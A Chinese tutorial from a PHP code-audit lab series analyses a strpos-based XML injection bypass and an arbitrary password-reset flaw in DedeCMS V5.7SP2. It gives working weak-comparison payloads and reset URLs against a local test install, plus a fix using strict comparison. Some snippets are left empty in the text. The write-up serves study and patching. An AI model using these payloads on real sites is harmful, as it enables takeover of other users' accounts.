开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day4
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 4 - False Beard代码如下:
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '' .
' ';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
漏洞解析 :
我们看到第11行
和第12行
$format = '' .
' ';
程序通过格式化字符串的方式,使用 xml
结构存储用户的登录信息。实际上这样很容易造成数据注入。然后 第21行
实例化Login
类:
new Login($_POST['username'], $_POST['password']);
并在 第16行
处调用login
方法进行登陆操作。
$this->login($xmlElement);
在进行登录操作之前,代码在 第8行
和 第9行
使用strpos
函数来防止输入的参数含有 <
和 >
符号:
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
猜测开发者应该是考虑到非法字符注入问题。
(PHP 4, PHP 5, PHP 7)
strpos — 查找字符串在另一字符串中第一次出现的位置
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
。注释: 字符串位置从 0 开始,不是从 1 开始。
参数 | 描述 |
---|---|
haystack | 在该字符串中进行查找。 |
needle | 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值 |
offset | 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。 |
echo strpos("I love php, I love php too!","php");
?>
结果为:7
在这道题目中,开发者只考虑到 strpos 函数返回 false
的情况,却忽略了匹配到的字符在首位时会返回 0
的情况,因为false
和0
的取反均为 true
。这样我们就可以在用户名和密码首字符注入<
符号,从而注入xml
数据。
如果我们构造以下 payload ,观察 strpos 函数的返回结果就会为true:
user=<">
$user='<">;
$pass='' ;
var_dump(strpos($user,'<')); #在第0位
var_dump(!strpos($user,'<'));#返回true
var_dump(strpos($user,'>'));#在第2位
var_dump(!strpos($user,'>'));#没有就返回false
var_dump(
(!strpos($user, '<') || !strpos($user, '>')) && #返回true
(!strpos($pass, '<') || !strpos($pass, '>')) #返回true
#最终返回true
)
?>
很明显是可以注入xml数据的。
本次实例分析,我们
DeDecms V5.7SP2
正式版进行分析,本次漏洞是开发者对strpos
函数理解不够,或者说是开发者考虑不周,导致过滤方法可被绕过。由于我们暂时没有在互联网上找到strpos
使用不当导致漏洞的CMS案例,所以这里只能选取一个相似的漏洞进行分析,同样是开发者验证不够周全导致的漏洞。
我们来看一下本次漏洞的文件,漏洞的触发点在 member/resetpassword.php
文件中,由于对接收的参数safeanswer
没有进行严格的类型判断,导致可以使用弱类型比较绕过。具体代码如下(75-95行):
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
针对上面的代码做个分析,当 $dopost
等于 safequestion
的时候,通过传入的 $mid
对应的 id 值
来查询对应用户的安全问题、安全答案、用户id、电子邮件
等信息。跟进到 第10行
,当我们传入的问题和答案非空,而且等于之前设置的问题和答案,则进入 sn
函数。然而这里使用的是 ==
而不是 ===
来判断,所以是可以绕过的。假设用户没有设置安全问题
和答案
,那么默认情况下安全问题的值为 0
,答案的值为 null
(这里是数据库中的值,即 $row['safequestion']="0" 、 $row['safeanswer']=null
)。当没有设置 safequestion
和 safeanswer
的值时,它们的值均为空字符串。第10行
的if表达式
也就变成了 if('0' == '' && null == '')
,即 if(false && true)
,所以我们只要让表达式 $row['safequestion'] == $safequestion
为 true
即可。如下面代码 null == ''
的判断结果:
$a='';
$b;
var_dump($a==$b);
?>
我们可以利用 php弱类型
了解弱类型的特点,来绕过这里 $row['safequestion'] == $safequestion
的判断:
通过测试找到了三个的payload
,分别是 0.0
、 0.
、 0e1
,这三种类型payload
均能使得 $row['safequestion'] == $safequestion
为 true
,
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
即成功进入 sn
函数。跟进 sn
函数,相关代码在 member/inc/inc_pwd_functions.php
文件中,具体代码如下(150-171行):
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
在 sn
函数内部,会根据mid
到pwd_tmp
表中判断是否存在对应的临时密码记录:
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
根据结果确定分支,走向 newmail 函数。
newmail($mid,$userid,$mailto,'INSERT',$send);
假设当前我们第一次进行忘记密码操作,那么此时的 $row
应该为空,所以进入第一个 if(!is_array($row))
分支,在newmail
函数中执行 INSERT
操作,相关操作代码位置在 member/inc/inc_pwd_functions.php
文件中,关键代码如下(82-101行):
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
该代码主要功能是发送邮件至相关邮箱,并且插入一条记录至 #@__pwd_tmp 表中。而恰好漏洞的触发点就在这里,我们看看 第11行 至 第14行 的代码:
else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
如果 ($send == 'N')
这个条件为真,通过 ShowMsg
打印出修改密码功能的链接。 第13行 修改密码链接中的 $mid
参数对应的值是用户id
,而 $randval
是在第一次 insert
操作的时候将其 md5
加密之后插入到 dede_pwd_tmp
表中,并且在这里已经直接回显给用户。那么这里拼接的url其实是
http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval
继续跟进一下 dopost=getpasswd
的操作,相关代码位置在 member/resetpassword.php
(96-110行)中:
else if($dopost == "getpasswd")
{
//修改密码
if(empty($id))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
在重置密码的时候判断输入的用户id
是否执行过重置密码,如果id
为空则退出;如果 $row
不为空,则会执行以下操作内容,相关代码在 member/resetpassword.php
(111-122行)中。
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
上面代码会先判断是否超时,如果没有超时,则进入密码修改页面。在密码修改页面会将 $setp
赋值为2
。
由于现在的数据包中 $setp=2
,因此这部分功能代码实现又回到了 member/resetpassword.php
文件中(123-150行)。
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
上面代码 第6行
判断传入的 $key
是否等于数据库中的 $row['pwd']
,如果相等就完成重置密码操作,至此也就完成了整个攻击的分析过程。
我们分别注册 pz, test 两个账号
由于没有开放注册,我们需要开放注册:
http://10.211.55.5/PHPcode/DedeCMSV57/uploads/dede/login.php?gotopage=%2FPHPcode%2FDedeCMSV57%2Fuploads%2Fdede%2F
进入后台
http://10.211.55.5/PHPcode/DedeCMSV57/uploads/dede/
在左侧的系统–基本参数–左侧栏目–会员设置 在参数设置开启会员功能。是否允许新会员注册等都开启。这是两个比较重要的,不然开启了会员功能没有开启会员注册也是不能用的。
我们要用pzpz
改test
的密码,登陆pzpz
。
第一步访问 payload
中的 url
http://10.211.55.5/PHPcode/DedeCMSV57/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3
通过抓包获取到 key
值。
key=cGFPQn2S
去掉多余的字符访问修改密码链接
http://10.211.55.5/PHPcode/DedeCMSV57/uploads/member/resetpassword.php?dopost=getpasswd&id=3&key=cGFPQn2S
针对上面 DeDecms
任意用户密码重置 漏洞,我们只需要使用 ===
来代替 ==
就行了。因为 ===
操作会同时判断左右两边的值和数据类型是否相等,若有一个不等,即返回 false
。具体修复代码如下:
再次感谢【红日团队】